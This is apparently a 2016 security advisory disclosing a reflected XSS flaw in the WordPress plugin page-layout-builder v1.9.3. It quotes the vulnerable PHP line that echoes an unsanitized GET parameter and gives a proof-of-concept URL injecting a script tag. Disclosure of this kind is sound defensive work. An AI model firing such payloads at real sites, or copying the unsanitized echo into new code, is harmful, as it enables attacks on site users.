Advisory #: 358
Title: Reflected XSS in wordpress plugin page-layout-builder v1.9.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site:
Downloads: 162278
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact:, fixed in v2.0.0
Plugin Name: page-layout-builder
There is a reflected XSS vulnerability in the following php code ./page-layout-builder/includes/layout-settings.php: 86:<form method="post" class="w3eden" action="admin-ajax.php" id="layout-settings-form" rel="<?php echo $_GET['layout_settings_id']; ?>" > The variable layout_settings_id appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000141
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id="><script>alert(1);</script><"